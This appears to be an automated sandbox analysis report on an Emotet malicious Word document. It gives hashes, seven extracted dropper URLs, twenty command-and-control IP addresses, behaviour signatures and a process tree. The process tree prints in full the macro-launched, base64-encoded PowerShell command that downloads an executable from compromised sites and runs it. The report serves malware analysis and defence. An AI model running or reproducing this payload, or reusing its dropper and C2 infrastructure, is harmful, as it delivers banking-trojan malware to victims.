Overview

overview

10

Static

static

8

emotet_e3_...oc.doc

windows7_x64

10

emotet_e3_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    113s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    25/08/2020, 11:38

Sharing

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Report Analysis Logs

General

  • Target
    emotet_e3_e01d4f623fbc91163ac7e1467b706e62ca7d95dd55163f9cdfd8f9d297ccbe84_2020-08-25__113710._doc.doc
  • Size 240KB
  • Sample200825-e46cpyhbc2
  • SHA256 e01d4f623fbc91163ac7e1467b706e62ca7d95dd55163f9cdfd8f9d297ccbe84
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://www.luxelistreviews.com/wp-includes/AYR/
  • exe.dropper

    https://www.yhyhzx.com/wp-admin/pKpz/
  • exe.dropper

    http://mediadrive.nichost.ru/awfcatfre/9thw57489/
  • exe.dropper

    http://kumarpratham.com/fonts/Wtuq/
  • exe.dropper

    http://fxea.club/wp-includes/mPqJMPzx/
  • exe.dropper

    https://xiangfu.phjrt.com/0qeoy/voB355f13v2j475/
  • exe.dropper

    https://www.batamry.com/tmp/baeng79095371/

Extracted

Family

  • emotet

C2

  • 189.39.32.161:80

  • 85.25.207.108:8080

  • 185.86.148.68:443

  • 75.127.14.170:8080

  • 220.254.198.228:443

  • 81.214.253.80:443

  • 105.209.235.113:8080

  • 185.208.226.142:8080

  • 177.144.130.105:443

  • 178.33.167.120:8080

  • 86.57.216.23:80

  • 143.95.101.72:8080

  • 192.241.220.183:8080

  • 78.189.60.109:443

  • 179.62.238.49:80

  • 190.212.140.6:80

  • 188.251.213.180:443

  • 37.46.129.215:8080

  • 190.164.75.175:80

  • 190.53.144.120:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_e01d4f623fbc91163ac7e1467b706e62ca7d95dd55163f9cdfd8f9d297ccbe84_2020-08-25__113710._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1060
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABNAHIAcgAzADEAbQBfAD0AKAAnAFYAeQAnACsAJwBzAGQANwBrAGsAJwApADsALgAoACcAbgAnACsAJwBlAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQAZQBOAHYAOgB0AEUAbQBwAFwAbwBmAGYAaQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBjAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAGMAYABVAGAAUgBpAFQAWQBgAFAAUgBPAHQAYABPAGMAbwBMACIAIAA9ACAAKAAnAHQAbABzACcAKwAnADEAMgAnACsAJwAsACAAdAAnACsAJwBsAHMAMQAxACwAIAB0AGwAcwAnACkAOwAkAEYAagBxAGsAdwBfAGwAIAA9ACAAKAAnAEMAMwBiAGMAJwArACcAMwAnACsAJwBhAHYAJwArACcANQBpACcAKQA7ACQATAA3AGsANwBqADcAZwA9ACgAJwBGAHgAJwArACcAZwB3ADMANABtACcAKQA7ACQARABsADUAZQBkAGMANgA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAewAwAH0ATwBmACcAKwAnAGYAJwArACcAaQBjAGUAMgAnACsAJwAwADEAOQB7ADAAfQAnACkAIAAtAEYAIAAgAFsAYwBoAEEAUgBdADkAMgApACsAJABGAGoAcQBrAHcAXwBsACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAJABIAHAAdQAyAGcAOQBfAD0AKAAnAEUANQAnACsAJwA5AGkAaAAnACsAJwByADcAJwApADsAJABMAHIAaQBnAG8AdwBmAD0AJgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlAGMAJwArACcAdAAnACkAIABuAGUAdAAuAHcARQBiAGMATABpAGUAbgB0ADsAJABYAGMAbgB5AGUAMgBnAD0AKAAnAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AJwArACcAdwB3ACcAKwAnAHcALgBsAHUAeABlAGwAaQAnACsAJwBzACcAKwAnAHQAJwArACcAcgBlAHYAJwArACcAaQBlAHcAcwAuAGMAbwAnACsAJwBtAC8AdwAnACsAJwBwAC0AaQAnACsAJwBuAGMAbAB1AGQAJwArACcAZQBzAC8AJwArACcAQQBZACcAKwAnAFIALwAqAGgAJwArACcAdAB0AHAAJwArACcAcwAnACsAJwA6ACcAKwAnAC8ALwAnACsAJwB3ACcAKwAnAHcAdwAuAHkAaAB5ACcAKwAnAGgAegB4AC4AYwBvAG0ALwB3AHAALQBhAGQAbQAnACsAJwBpAG4ALwAnACsAJwBwAEsAcAB6AC8AJwArACcAKgBoAHQAdAAnACsAJwBwADoALwAvACcAKwAnAG0AZQBkAGkAJwArACcAYQBkACcAKwAnAHIAJwArACcAaQB2ACcAKwAnAGUALgBuAGkAYwAnACsAJwBoAG8AJwArACcAcwB0AC4AcgB1AC8AYQAnACsAJwB3AGYAYwBhAHQAJwArACcAZgAnACsAJwByAGUALwA5AHQAJwArACcAaAB3ADUAJwArACcANwA0ADgAOQAvACcAKwAnACoAaAB0ACcAKwAnAHQAcAA6AC8AJwArACcALwBrAHUAbQAnACsAJwBhAHIAJwArACcAcAByAGEAdABoAGEAbQAnACsAJwAuACcAKwAnAGMAbwBtAC8AZgAnACsAJwBvAG4AdABzAC8AVwAnACsAJwB0AHUAcQAnACsAJwAvACoAJwArACcAaAB0ACcAKwAnAHQAJwArACcAcAA6ACcAKwAnAC8ALwBmAHgAZQBhAC4AYwBsAHUAJwArACcAYgAvAHcAcAAtAGkAbgBjAGwAdQAnACsAJwBkAGUAcwAvACcAKwAnAG0AJwArACcAUABxAEoATQBQAHoAJwArACcAeAAvACcAKwAnACoAaAB0AHQAcABzADoAJwArACcALwAnACsAJwAvAHgAaQAnACsAJwBhAG4AZwAnACsAJwBmAHUALgBwAGgAagByAHQALgBjACcAKwAnAG8AbQAvACcAKwAnADAAcQBlACcAKwAnAG8AeQAvACcAKwAnAHYAbwBCADMANQA1AGYAMQAzAHYAJwArACcAMgBqACcAKwAnADQANwA1AC8AKgBoAHQAdABwAHMAOgAnACsAJwAvAC8AJwArACcAdwB3AHcALgBiAGEAJwArACcAdAAnACsAJwBhAG0AcgB5AC4AJwArACcAYwAnACsAJwBvACcAKwAnAG0ALwB0AG0AJwArACcAcAAvACcAKwAnAGIAJwArACcAYQBlACcAKwAnAG4AZwAnACsAJwA3ADkAMAA5ACcAKwAnADUAMwA3ACcAKwAnADEAJwArACcALwAnACkALgAiAFMAcABsAGAASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATwBvADkAZQA4ADkAbwA9ACgAJwBYADgAZAAnACsAJwB4ACcAKwAnAHcAcgBhACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFcAcwAwAHoAZQB4AG4AIABpAG4AIAAkAFgAYwBuAHkAZQAyAGcAKQB7AHQAcgB5AHsAJABMAHIAaQBnAG8AdwBmAC4AIgBkAG8AVwBgAE4AYABMAG8AQQBEAGAARgBJAEwAZQAiACgAJABXAHMAMAB6AGUAeABuACwAIAAkAEQAbAA1AGUAZABjADYAKQA7ACQAVABlADEAZgBqAHIAZgA9ACgAJwBYACcAKwAnAHgAegAnACsAJwBxADkAOQAzACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAJwArACcAdABlAG0AJwApACAAJABEAGwANQBlAGQAYwA2ACkALgAiAEwAZQBuAGAAZwBgAFQAaAAiACAALQBnAGUAIAAzADQANAAwADkAKQAgAHsAJgAoACcASQAnACsAJwBuAHYAbwBrAGUALQBJAHQAZQAnACsAJwBtACcAKQAoACQARABsADUAZQBkAGMANgApADsAJABOAGMAbgA3AGkAMgBuAD0AKAAnAFkANgBqADYAbQAnACsAJwBiADEAJwApADsAYgByAGUAYQBrADsAJABTAHMAZAAyADIAbgBjAD0AKAAnAEwAaQAnACsAJwBrACcAKwAnAGkAMAB6ADAAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABKADgAZABwAHkAbgBzAD0AKAAnAEoAZQBtAHgANwAnACsAJwB4AHUAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:776
    • C:\Users\Admin\AppData\Local\Temp\Office2019\C3bc3av5i.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\C3bc3av5i.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1804
      • C:\Windows\SysWOW64\KBDHELA2\ddrawex.exe
        "C:\Windows\SysWOW64\KBDHELA2\ddrawex.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1592

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/776-13-0x000000001AB60000-0x000000001AB61000-memory.dmp
        Download

        memory/776-8-0x000007FEF22F0000-0x000007FEF2CDC000-memory.dmp
        Download

        memory/776-10-0x000000001ACA0000-0x000000001ACA1000-memory.dmp
        Download

        memory/776-11-0x00000000025B0000-0x00000000025B1000-memory.dmp
        Download

        memory/776-12-0x0000000002460000-0x0000000002461000-memory.dmp
        Download

        memory/776-9-0x0000000002500000-0x0000000002501000-memory.dmp
        Download

        memory/776-14-0x000000001B8F0000-0x000000001B8F1000-memory.dmp
        Download

        memory/1060-5-0x000000000AED0000-0x000000000AED4000-memory.dmp
        Download

        memory/1060-2-0x0000000008A40000-0x0000000008A44000-memory.dmp
        Download

        memory/1060-4-0x0000000006E90000-0x0000000007090000-memory.dmp
        Download

        memory/1592-21-0x0000000000290000-0x000000000029C000-memory.dmp
        Download

        memory/1636-22-0x000007FEF2A10000-0x000007FEF2C8A000-memory.dmp
        Download

        memory/1804-17-0x0000000000300000-0x000000000030C000-memory.dmp
        Download